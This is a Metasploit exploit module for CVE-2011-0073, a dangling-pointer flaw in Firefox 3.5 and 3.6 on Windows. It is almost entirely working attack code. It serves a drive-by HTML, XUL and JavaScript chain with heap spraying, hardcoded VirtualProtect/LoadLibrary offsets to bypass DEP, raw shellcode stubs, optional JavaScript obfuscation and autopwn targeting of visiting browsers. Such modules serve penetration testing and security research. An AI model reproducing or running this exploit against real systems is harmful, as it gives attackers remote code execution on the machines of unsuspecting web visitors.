##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "3.5",
		:ua_maxver => "3.6.16",
		:os_name => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking,
		:vuln_test => "if (navigator.userAgent.indexOf('Windows NT 5.1') != -1 || navigator.javaEnabled()) { is_vuln = true; }",
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability',
			'Description'    => %q{
				This module exploits a code execution vulnerability in Mozilla Firefox
				3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.
				By overwriting a subfunction of invalidateSelection it is possible to free the
				nsTreeRange object that the function currently operates on.
				Any further operations on the freed object can result in remote code execution.
				Utilizing the call setup the function provides it's possible to bypass DEP
				without the need for a ROP. Sadly this exploit is still either dependent
				on Java or bound by ASLR because Firefox doesn't employ any ASLR-free
				modules anymore.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'regenrecht', # discovered and sold to ZDI
					'xero', # Shenanigans
				],
			'References'     =>
				[
					['CVE',    '2011-0073'],
					['OSVDB',  '72087'],
					['BID',    '47663'],
					['URL',    'http://www.zerodayinitiative.com/advisories/ZDI-11-157/'],
					['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'],
					['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread', # graceful exit if run in separate thread
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 0x1000, # depending on the spray size it's actually a lot more
				},
			'Targets'        =>
				[
					[ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'Auto' => true,
							'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1],
								['navigator.javaEnabled()', 2]],
							'UsesJava' => true
						}
					],
					[ 'Firefox Runtime, fails with ASLR',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'VPOffset' => 0x781A91F8, # VirtualProtect
							'LLOffset' => 0x781A9104, # LoadLibraryA
							'GPAOffset' => 0x781A9014, # GetProcAddress
							'UsesJava' => false
						}
					],
					[ 'Java Runtime (7.10.3052.4), best against ASLR',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'VPOffset' => 0x7C37A140,
							'LLOffset' => 0x7C37A0B8,
							'GPAOffset' => 0x7C37A00C,
							'UsesJava' => true
						}
					],
					[ 'Java JVM (20.1.0.02)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'VPOffset' => 0x6D9FC094,
							'LLOffset' => 0x6D9FC110,
							'GPAOffset' => 0x6D9FC188,
							'UsesJava' => true
						}
					],
					[ 'Java Regutils (6.0.260.3)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
							'VPOffset' => 0x6D6C227C,
							'LLOffset' => 0x6D6C2198,
							'GPAOffset' => 0x6D6C2184,
							'UsesJava' => true
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 2 2011'
			))

		register_options(
			[
				OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]),
				OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]),
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]),
			], self.class
		)

		register_advanced_options(
			[
				OptInt.new('BaseOffset', [ true, 'The offset we hope to have overwritten with our heap spray', 0x0F000000 ]),
				OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks', 0x100000 ]),
				OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 200 ]),
				OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),
				OptBool.new('Crash', [ true, 'Usa an invalid offset to make the exploit crash (for debugging)', false ]),
			], self.class
		)
	end

	def prepare_payload(target, p)
		base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
		spray_size = datastore['SpraySize']

		esp_fix = 0
		callchain = []

		# Adding calls by hand is tedious, look at the bottom for an explanation of these values
		add_call = Proc.new { |offset, arg1, arg2, direct |
			next_offset = base_offset + (callchain.flatten.length*4)
			callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one

			if direct
				callchain <<
				[
					next_offset + 0x4 - 8,
					next_offset + 0x14,
					0,
					arg1,
					arg2,
					next_offset + 0x18 - 0x70,
					offset
				]
			else
				callchain <<
				[
					next_offset + 0x4 - 8,
					next_offset + 0x14,
					0,
					arg1,
					arg2,
					offset - 0x70
				]
			end
		}

		add_call.call(target['LLOffset'], base_offset, 0) # use dummy LoadLibrary call to push valid fourth VirtualProtect argument on stack
		add_call.call(target['VPOffset'], 0x10000, 0x40) # call VirtualProtect to make heap executable
		add_call.call(0xDEADBEEF, 0, 0, true) # call our shellcode

		callchain.flatten!
		callchain[-1] = base_offset + (callchain.length*4) # patch last offset to point to shellcode located after callchain

		esp_fix = 0x10

		payload_buf = callchain.pack('V*')

		payload_buf << "\xCC" if datastore['SetBP']

		# make rest of shellcode run in separate thread
		if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset']
			payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6"
			payload_buf << "\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56"
			payload_buf << "\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}"
			payload_buf << "\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32"
			payload_buf << "\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00"

			esp_fix = 0
		end

		# encapsulate actual payload in SEH handler
		if datastore['SEHProlog']
			payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00"
			payload_buf << "\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01"
			payload_buf << "\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00"
			payload_buf << "\x00\x83\xc4\x04\x61\xc2"
			payload_buf << [esp_fix].pack('v')
		end

		payload_buf << p

		# controlled crash, to return to our SEH handler
		payload_buf << "\x33\xC0\xFF\xE0" if datastore['SEHProlog']

		payload_buf
	end

	def on_request_uri(cli, request)

		if request.uri == get_resource() or request.uri =~ /\/$/
			print_status("Redirecting to .html URL")
			redir = get_resource()
			redir << '/' if redir[-1,1] != '/'
			redir << rand_text_alphanumeric(4+rand(4))
			redir << '.html'
			send_redirect(cli, redir)

		elsif request.uri =~ /\.html?$/
			print_status("Sending HTML")
			xul_name  	= rand_text_alpha(rand(100)+1)
			j_applet 	= rand_text_alpha(rand(100)+1)

			html = <<-EOS
<html>
#{"<applet codebase=\".\" code=\"#{j_applet}.class\" width=0 height=0></applet>" if target['UsesJava']}
<iframe src="#{xul_name}.xul" width="1" height="1" frameborder="0"></iframe>
</html>
EOS
			send_response(cli, html, { 'Content-Type' => 'text/html' })

		elsif request.uri =~ /\.xul$/
			print_status("Sending XUL")

			js_file  = rand_text_alpha(rand(100)+1)
			@js_func = rand_text_alpha(rand(32)+1)

			xul = <<-EOS
<?xml version="1.0"?>
<?xml-stylesheet type="text/css"?>
<window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="#{@js_func}()">
<script src="#{js_file}.js"/>
<tree id="tr">
  <treechildren>
    <treeitem>
      <treerow>
        <treecell label=""/>
      </treerow>
    </treeitem>
  </treechildren>
</tree>
</window>
EOS
			send_response(cli, xul, { 'Content-Type' => 'application/vnd.mozilla.xul+xml' })

		elsif request.uri =~ /\.js$/
			print_status("Sending JS")
			return if ((p = regenerate_payload(cli).encoded) == nil)

			base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
			spray_size = datastore['SpraySize']
			spray_count = datastore['SprayCount']

			if not target['Auto']
				escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p))
				shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");"
			else
				shellcode_str = target['Targets'].map{ |check, index|
					"if (#{check}) {\n var shellcode = unescape(\"#{Rex::Text.to_unescape(prepare_payload(targets[index], p))}\");\n }"}.join(' else ')
				shellcode_str << " else { return; }"
			end

			escaped_addr = Rex::Text.to_unescape([base_offset].pack("V"))

			custom_js = <<-EOS
function #{@js_func}() {

	container = new Array();

	#{shellcode_str}

	var delimiter = unescape("%udead");

	var block = unescape("#{escaped_addr}");
	while (block.length < 8)
		block += block;

	var treeSel = document.getElementById("tr").view.selection;

	treeSel.clearSelection();

	for (var count = 0; count < 30; ++count)
		container.push(block + delimiter);

	treeSel.select(0);

	treeSel.tree = {
		invalidateRange: function(s,e) {

			treeSel.tree = null;
			treeSel.clearSelection();

			for (var count = 0; count < 10; ++count)
				container.push(block + delimiter);

			var big = unescape("%u4558%u4f52");
			while (big.length < #{spray_size / 2})
				big += big;

			var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode;
			var spray = pad + big.substring(pad.length + 2);

			for (var count = 0; count < #{spray_count}; ++count)
				container.push(spray + delimiter);
		}
	}

	treeSel.invalidateSelection();
}
EOS

			if datastore['OBFUSCATE']
				opts = {
					'Symbols' => {
						'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count }
					}
				}

				custom_js = obfuscate_js(custom_js,opts)
			end

			send_response(cli, custom_js, { 'Content-Type' => 'application/x-javascript' })
		end

		# Handle the payload
		handler(cli)
	end
end

=begin

ESI points to shellcode

final call looks like this: CALL [[[[ESI]+8]]+70]
[ESI+10], [ESI+C] and [[ESI]+8] are pushed as arguments
[ESI+8] points to the next call frame, if there is one

104924BC  /$  56            PUSH ESI
104924BD  |.  8B7424 08     MOV ESI,DWORD PTR SS:[ESP+8]
104924C1  |>  8B06          /MOV EAX,DWORD PTR DS:[ESI]
104924C3  |.  8B40 08       |MOV EAX,DWORD PTR DS:[EAX+8]
104924C6  |.  85C0          |TEST EAX,EAX
104924C8  |.  74 0C         |JE SHORT xul.104924D6
104924CA  |.  FF76 10       |PUSH DWORD PTR DS:[ESI+10]
104924CD  |.  8B08          |MOV ECX,DWORD PTR DS:[EAX]
104924CF  |.  FF76 0C       |PUSH DWORD PTR DS:[ESI+C]
104924D2  |.  50            |PUSH EAX
104924D3  |.  FF51 70       |CALL DWORD PTR DS:[ECX+70] # does the calling for us
104924D6  |>  8B76 08       |MOV ESI,DWORD PTR DS:[ESI+8]
104924D9  |.  85F6          |TEST ESI,ESI
104924DB  |.^ 75 E4         \JNZ SHORT xul.104924C1
104924DD  |.  5E            POP ESI
104924DE  \.  C2 0400       RETN 4
=end
